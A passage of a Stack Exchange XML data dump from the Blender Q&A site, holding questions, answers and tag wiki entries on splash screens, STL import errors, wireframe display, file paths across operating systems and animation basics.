  <row Id="188" PostTypeId="1" AcceptedAnswerId="190" CreationDate="2013-05-23T18:00:03.633" Score="30" ViewCount="5155" Body="&lt;p&gt;The default Splash screens are cool, but I'd like to add some of my own work to remind me of how awesome I am (no, not really).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DyZcy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to customize/change the splash screen?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="72" LastEditDate="2013-05-23T18:12:17.940" LastActivityDate="2018-12-20T13:31:17.213" Title="Can I use a custom Splash screen?" Tags="&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="1" CreationDate="2013-05-23T18:00:17.400" Score="3" ViewCount="3251" Body="&lt;p&gt;I have &lt;code&gt;.stl&lt;/code&gt; data files that I'm trying to import into Blender. Large, over 100MB. I'm having trouble importing them, and I'm wondering if the size might be the reason. They all return the following error lines upon attempting import:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\...\AppData\Roaming\Blender Foundation\Blender\2.57\scripts\addons\io_mesh_stl\__init__.py&quot;, line 86, in execute&#xA;    paths = [os.path.join(self.directory, name.name) for name in self.files]&#xA;  File &quot;C:\...\AppData\Roaming\Blender Foundation\Blender\2.57\scripts\addons\io_mesh_stl\__init__.py&quot;, line 86, in &amp;lt;listcomp&amp;gt;&#xA;    paths = [os.path.join(self.directory, name.name) for name in self.files]&#xA;  File &quot;C:\...\AppData\Roaming\Blender Foundation\Blender\2.57\scripts\modules\bpy_types.py&quot;, line 626, in __getattribute__&#xA;    return getattr(properties, attr)&#xA;UnicodeDecodeError: 'utf8' codec can't decode byte 0xee in position 27: invalid continuation byte&#xA;&#xA;location:&amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastEditorUserId="12" LastEditDate="2013-12-08T09:31:54.040" LastActivityDate="2013-12-08T09:31:54.040" Title="Limitations on .stl file importing" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2013-05-24T01:29:09.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="2" ParentId="188" CreationDate="2013-05-23T18:04:14.603" Score="32" Body="&lt;p&gt;&lt;strong&gt;You have to build this with Blender.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is located at &lt;code&gt;/blender/release/datafiles/splash.png&lt;/code&gt; &amp;mdash; &lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/datafiles/splash.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;(old svn link)&lt;/a&gt; &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob_plain/HEAD:/release/datafiles/splash.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;(new git link)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace&lt;sup&gt;1&lt;/sup&gt; this file with a similar one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5rwXI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;sup&gt;1&lt;/sup&gt;Here is a link to the entry on the &lt;a href=&quot;https://en.blender.org/index.php/Dev:2.4/Doc/How_to/Edit_the_SplashScreen&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; on how to correctly change it.&lt;/li&gt;&#xA;&lt;li&gt;You can grab an old &lt;a href=&quot;http://download.blender.org/demo/test/splash_template_2.50.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;template&lt;/a&gt; here which should still work and size your image accordingly (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?225288-Blender-2.59-splash-contest&quot; rel=&quot;nofollow noreferrer&quot;&gt;src&lt;/a&gt;). The template is also in the same directory as &lt;code&gt;splash_template.xcf&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;BlenderCookie has a &lt;a href=&quot;https://vimeo.com/16190129&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial on building Blender&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/building-blender-in-osx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download from archives&lt;/a&gt;) in which the author changes the splash screen. &lt;em&gt;(He uses mac but the majority of process can be done pretty much the same way for other platforms)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2018-12-20T13:31:17.213" LastActivityDate="2018-12-20T13:31:17.213" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="191" PostTypeId="2" ParentId="188" CreationDate="2013-05-23T18:05:26.063" Score="9" Body="&lt;p&gt;You can do that with a custom build of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is located in the source at: /blender/blender/release/datafiles/splash.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested here's a link on how to build blender from source: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your on Mac, CGCookie has a &lt;a href=&quot;https://vimeo.com/16190129&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/building-blender-in-osx/&quot; rel=&quot;nofollow&quot;&gt;archive&lt;/a&gt;) on how to build blender with custom splash screen.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="2217" LastEditDate="2015-11-22T00:28:57.773" LastActivityDate="2015-11-22T00:28:57.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="2" ParentId="189" CreationDate="2013-05-23T18:13:12.247" Score="1" Body="&lt;p&gt;It sounds like your having some sort of corruption with your binary (&lt;a href=&quot;https://stackoverflow.com/questions/5552555/unicodedecodeerror-invalid-continuation-byte&quot;&gt;source&lt;/a&gt;). Change the settings of your import or reexporting the model should fix it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-05-23T18:13:12.247" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="1" AcceptedAnswerId="196" CreationDate="2013-05-23T18:18:57.807" Score="26" ViewCount="45477" Body="&lt;p&gt;I sometimes like to view my models in wireframe mode, but it doesn't show individual faces, only lines representing the general formation of the object. With subdivisions (especially) this does not achieve what I'd really like to see, which is more of a &amp;quot;blueprint&amp;quot; look.&lt;/p&gt;&#xA;&lt;h2&gt;Solid view:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JkHp4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Wireframe:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYngV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;What I want (except this is solid):&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCk72.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;What I want (except, this is edit mode, not an actual drawmode):&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FpvdA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a draw mode that can achieve this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; &lt;em&gt;I don't mind if the answer uses Python. I'm not a Python programmer but I'd be able to understand the code (I've got programming experience and have used Python on and off before).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-03-06T14:11:00.683" Title="How to display the edges of a mesh while in Object mode?" Tags="&lt;3d-view&gt;&lt;drawmodes&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostTypeId="1" AcceptedAnswerId="200" CreationDate="2013-05-23T18:27:38.277" Score="11" ViewCount="816" Body="&lt;p&gt;My OS (WIN7) uses non ASCII characters in the file system. Doesn't have to, but does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in general it's not a great idea, but some of my directories have names which use these characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender shows it all non-readable gibberish, which makes it pretty difficult to understand what directory I'm looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of UTF-8 patch, or update to help out here?&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="599" LastEditDate="2013-12-05T22:52:29.627" LastActivityDate="2018-04-08T12:44:36.613" Title="Patch for Non-ASCII Characters" Tags="&lt;file-browser&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostTypeId="2" ParentId="194" CreationDate="2013-05-23T18:36:31.333" Score="41" Body="&lt;p&gt;If I understand your question right, then you just need to enable &lt;strong&gt;Draw All Edges&lt;/strong&gt; and &lt;strong&gt;Wire&lt;/strong&gt; under the &lt;strong&gt;Object properties&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MVM5.png&quot; alt=&quot;All Edges Wire Display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wire&lt;/strong&gt; draws all edges in the mesh that are not coplanar (edges not lying on the same mathematical plane). &lt;strong&gt;Draw All Edges&lt;/strong&gt; draws these coplanar edges in wire display and wireframe mode. &lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="6089" LastEditDate="2016-03-08T21:27:11.790" LastActivityDate="2016-03-08T21:27:11.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="5" CreationDate="2013-05-23T18:41:20.930" Score="0" Body="&lt;p&gt;Camera documentation on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/cameras.html?#cameras&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-06T07:11:13.417" LastActivityDate="2020-10-06T07:11:13.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="198" PostTypeId="4" CreationDate="2013-05-23T18:41:20.930" Score="0" Body="The camera is an object which defines a point of view in 3D space for the context of rendering. The camera also has settings for depth of field (DoF) and other effects/settings real cameras have." OwnerUserId="116" LastEditorUserId="32220" LastEditDate="2018-10-22T16:42:44.853" LastActivityDate="2018-10-22T16:42:44.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="200" PostTypeId="2" ParentId="195" CreationDate="2013-05-23T19:45:12.123" Score="12" Body="&lt;p&gt;Blender does display unicode (utf8 and latin1), try change the system user-preferences to enable 'international fonts'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This loads a font with a wider range of characters that may display your paths correctly.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-23T19:45:12.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="1" AcceptedAnswerId="204" CreationDate="2013-05-23T20:18:18.160" Score="9" ViewCount="1047" Body="&lt;p&gt;I've created a rigged model and created and grouped the model and rig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add it multiple times in a single scene. I used &lt;em&gt;File &gt; Append selected&lt;/em&gt; the group, made it local &lt;kbd&gt;L&lt;/kbd&gt; and created a proxy &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can do this only once, when I try to repeat the procedure described before nothing happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works when I save the group in another file, and link two different groups into the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-05-23T20:53:42.837" LastActivityDate="2013-12-07T23:58:27.700" Title="How can a rigged model be used multiple times in a scene?" Tags="&lt;scene&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="1" AcceptedAnswerId="203" CreationDate="2013-05-23T20:26:06.223" Score="18" ViewCount="1325" Body="&lt;p&gt;I'm creating a (fully packed) .blend file that contains textures, cycles materials, UV maps, multiple scenes, rigging, and fluid simulations. The OS I am working on to create it is Windows. However, I must send this file to Blender (same version, 2.66) on Linux. I plan to rebake the fluid on that machine. What considerations must I take with the names, content, etc of packed files and .blend data?&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="238" LastEditDate="2013-06-19T09:38:01.287" LastActivityDate="2013-08-29T18:11:21.017" Title="Considerations for using .blend files between operating systems" Tags="&lt;blend-files&gt;&lt;compatibility&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="2" ParentId="202" CreationDate="2013-05-23T20:34:28.640" Score="15" Body="&lt;p&gt;The only major one I think are path names, if you had anything linked into a non packed &lt;code&gt;.blend&lt;/code&gt;, you would have to double check and make sure that the paths to files were relative (If they are in folders near or with the .blend that is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this simply by going to &lt;em&gt;External Data &gt; Make All Paths Relative&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;OR&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This can be avoided by just packing the file.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to further understand why this is &lt;a href=&quot;http://en.wikipedia.org/wiki/Path_%28computing%29&quot; rel=&quot;noreferrer&quot;&gt;important&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;sub&gt;A full path or &lt;strong&gt;absolute path&lt;/strong&gt; is a path that points to the same location on one file system regardless of the working directory or combined paths. It is usually written in reference to a root directory.&lt;/sub&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;sub&gt;A &lt;strong&gt;relative path&lt;/strong&gt; is a path relative to the working directory of the user or application, so the full absolute path will not have to be given.&lt;/sub&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;thanks to jesterKing and ideasman42 in the comments for pointing these out.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows uses case-insensitive filenames, mostly this isnt a problem because blender will use the case from the filename you select, but if you rename a file or directory (and &lt;em&gt;only&lt;/em&gt; change the case) after this is already referenced from blender, you could then run into the problem where windows will resolve the path but loading the project on Linux/OSX (any non windows system) will fail. You might be best off to avoid this by using all lowercase names.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For linked and non-packed blends, make sure you have as many of your relative paths preferably &lt;em&gt;under&lt;/em&gt; your main .blend file. Especially for Windows users: don't put resources (textures, sound) on different drives compared to your .blend files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quicktime support isn't &lt;a href=&quot;http://www.blenderdiplom.com/index.php/en/interviews/item/47-interview-nathan-letwory-on-quicktime-in-blender&quot; rel=&quot;noreferrer&quot;&gt;available&lt;/a&gt; on Windows or Linux, so these can't read image/video formats supported by Quicktime.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-08-29T18:11:21.017" LastActivityDate="2013-08-29T18:11:21.017" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="204" PostTypeId="2" ParentId="201" CreationDate="2013-05-23T20:42:25.780" Score="4" Body="&lt;p&gt;One you have imported the model. You can add it to the scene just as you would add any other object. Just open the &lt;kbd&gt;Space&lt;/kbd&gt; Menu and go to &lt;em&gt;Group Instance&lt;/em&gt; and you should see a new entry there for the rigged model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHD7x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-07T23:58:27.700" LastActivityDate="2013-12-07T23:58:27.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="205" PostTypeId="5" CreationDate="2013-05-23T21:15:02.623" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-23T21:15:02.623" LastActivityDate="2013-05-23T21:15:02.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="4" CreationDate="2013-05-23T21:15:02.623" Score="0" Body="Blend files or .blend files are the zip like archive or format in which Blender stores data." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-23T21:16:20.020" LastActivityDate="2013-05-23T21:16:20.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="207" PostTypeId="5" CreationDate="2013-05-23T21:22:03.147" Score="0" Body="&lt;p&gt;Mesh structure in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/structure.html#vertices&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-06T07:11:20.300" LastActivityDate="2020-10-06T07:11:20.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="208" PostTypeId="4" CreationDate="2013-05-23T21:22:03.147" Score="0" Body="A vertex (plural vertices) is the point where two or more edges intersect. Used to manipulate the shape of a mesh in Edit mode." OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-07-13T23:47:35.413" LastActivityDate="2013-07-13T23:47:35.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="5" CreationDate="2013-05-23T21:23:03.620" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/animation/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Animation&lt;/a&gt;&lt;/strong&gt; is the process of taking models and causing them to move, and/or adding camera movement to a scene. Animation is what turns a still shot into a movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of forms of animation available within Blender:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Keyframing&lt;/strong&gt; is the most basic form of animation. You can insert &lt;em&gt;keyframes&lt;/em&gt; on various properties of an object, such as its location, rotation, color, or transparency, to allow the object to change state over time. For example, you could insert a Location keyframe at (0, 0, 0) at frame 1 and another with (1, 2, 3) at frame 24. Then, playing the animation would result in the object moving one unit to the right, two units back, and three units up over a period of one second. You can use keyframe animation on any object, including the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further topics to look into with respect to keyframing include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/animation/editors/graph/fcurves.html#the-concept-of-interpolation&quot; rel=&quot;nofollow&quot;&gt;Interpolation&lt;/a&gt;&lt;/strong&gt;, which defines how the values between the keyframes are calculated&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/animation/editors/nla.html&quot; rel=&quot;nofollow&quot;&gt;NLA editor&lt;/a&gt;&lt;/strong&gt;, which allows you to duplicate, modify, and mix animations like objects&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Mesh deformation&lt;/strong&gt; goes beyond moving whole objects, allowing you to instead change the &lt;em&gt;shape&lt;/em&gt; of objects. You can do this either with shape keys or with armatures. &lt;a href=&quot;http://www.blender.org/manual/animation/techs/shape/shape_keys.html&quot; rel=&quot;nofollow&quot;&gt;Shape keys&lt;/a&gt; allow you to specify various positions for a mesh (for example, a face mesh could have keys for smiling and raising eyebrows) that can be manipulated and animated numerically. &lt;a href=&quot;http://www.blender.org/manual/rigging/armatures.html&quot; rel=&quot;nofollow&quot;&gt;Armatures&lt;/a&gt; allow you to insert invisible &quot;bones&quot; into a mesh, which can then be animated with normal keyframing techniques. The position and rotation of the bones will affect how the mesh is deformed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Constraint-based animation&lt;/strong&gt; makes use of Blender's system of &lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/introduction.html&quot; rel=&quot;nofollow&quot;&gt;constraints&lt;/a&gt; to affect the position, rotation, and even scale of your objects. Constraint-based animation is rarely, if ever, used alone, but combined with other objects and techniques, it can be a powerful tool. Constraints allow you to easily perform such tasks as having a &lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/tracking/track_to.html&quot; rel=&quot;nofollow&quot;&gt;camera track an object&lt;/a&gt;, or having objects &lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/relationship/follow_path.html&quot; rel=&quot;nofollow&quot;&gt;move along a path&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/physics/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Physical simulation&lt;/a&gt;&lt;/strong&gt; allows you to treat objects as physically accurate representations of real-world entities. You can use physical simulation to simulate various types of systems, including &lt;a href=&quot;http://www.blender.org/manual/physics/fluid/introduction.html&quot; rel=&quot;nofollow&quot;&gt;fluids&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/manual/physics/smoke/introduction.html&quot; rel=&quot;nofollow&quot;&gt;smoke&lt;/a&gt;, and &lt;a href=&quot;http://www.blender.org/manual/physics/cloth.html&quot; rel=&quot;nofollow&quot;&gt;cloth&lt;/a&gt;. The methods of animating with physical simulation vary with the simulation type, but it all starts with the Physics panel (bouncing ball icon at the far right of the &lt;em&gt;Properties&lt;/em&gt; panel).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can read more about animation in the &lt;a href=&quot;http://www.blender.org/manual/animation/introduction.html&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="599" LastEditDate="2015-06-03T08:04:01.807" LastActivityDate="2015-06-03T08:04:01.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="4" CreationDate="2013-05-23T21:23:03.620" Score="0" Body="Use this tag for questions or issues pertaining to animation and Blender's animation system." OwnerUserId="20" LastEditorUserId="12" LastEditDate="2013-07-23T14:41:21.100" LastActivityDate="2013-07-23T14:41:21.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostTypeId="1" AcceptedAnswerId="243" CreationDate="2013-05-23T21:32:42.563" Score="10" ViewCount="276" Body="&lt;p&gt;Seeing as the video editor has become as powerful as it is, it would be great to use it as a stand alone video editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a build exist?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-05-24T00:14:55.190" Title="Is there a build of Blender that only has the video editor enabled?" Tags="&lt;versions&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="2" ParentId="183" CreationDate="2013-05-23T21:41:06.683" Score="8" Body="&lt;p&gt;I suggest looking into the NLA(Non-Linear Animation) editor.  By making your animations into NLA strips (click the orange snowflake) you can scale an animation clips like you would scaling something in the 3d view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RQBb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="12" LastEditDate="2013-07-11T23:51:15.737" LastActivityDate="2013-07-11T23:51:15.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostTypeId="5" CreationDate="2013-05-23T21:47:16.493" Score="0" Body="&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/manual/modeling/index.html&quot; rel=&quot;nofollow&quot;&gt;modeling&lt;/a&gt; section of the blender manual.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2015-06-03T03:16:35.487" LastActivityDate="2015-06-03T03:16:35.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostTypeId="4" CreationDate="2013-05-23T21:47:16.493" Score="0" Body="Modeling refers to the process of creating 3D objects or entities using a 3D modeling application. This tag is used for anything related to modeling including techniques, tools and tips." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2015-09-11T15:34:43.130" LastActivityDate="2015-09-11T15:34:43.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostTypeId="2" ParentId="131" CreationDate="2013-05-23T21:47:49.877" Score="21" Body="&lt;p&gt;Another trick that might help is to track the camera to a target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a specific object you want to orbit around and the motion doesn't have to be absolutely circular then you can add a &lt;strong&gt;Track To&lt;/strong&gt; constraint to the camera with the object in question as your target. If you keep &lt;strong&gt;Space&lt;/strong&gt; as &lt;em&gt;World Space &amp;lt;-&gt; World Space&lt;/em&gt;, you'll want to switch the &lt;strong&gt;Up:&lt;/strong&gt; to &lt;em&gt;Y&lt;/em&gt; and the &lt;strong&gt;To:&lt;/strong&gt; to &lt;em&gt;-Z&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of directly tracking to the object in question you could add an empty of course, and make sure the empty is where it should be. You then can move the camera freely around, it will keep tracking its target. Set your key frames for camera location where you need them, rotation is handled by the Track To constraint, keeping the camera trained on its target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quick way to do this is to first &lt;code&gt;select&lt;/code&gt; your target, then &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;code&gt;select&lt;/code&gt; your camera. &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; will give you a constraint popup, select &lt;strong&gt;Track To&lt;/strong&gt;. The first selected target will be automatically assigned the target for your constraint.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="12" LastEditDate="2013-05-24T00:05:43.583" LastActivityDate="2013-05-24T00:05:43.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="5" CreationDate="2013-05-23T21:49:52.850" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/render/blender_render/materials/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Materials&lt;/a&gt; are used to define the way an object looks when rendered, and how the render engine will calculate the way light interacts with an object.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://www.blender.org/manual/render/blender_render/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Internal&lt;/a&gt; (BI)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The Blender Internal render engine has four main different ways to render an object, as a &lt;em&gt;Surface&lt;/em&gt;, &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/materials/special_effects/wire.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Wire&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/materials/special_effects/volume.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Volume&lt;/em&gt;&lt;/a&gt;, or &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/materials/special_effects/halo.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Halo&lt;/em&gt;&lt;/a&gt;.&lt;br&gt;&#xA;The default setting is &lt;em&gt;Surface&lt;/em&gt;, which has many properties such as:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Specular reflection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Light Emission&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Z Transparency and Raytraced refraction&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Raytraced reflection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subsurface Scattering (SSS)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Strand 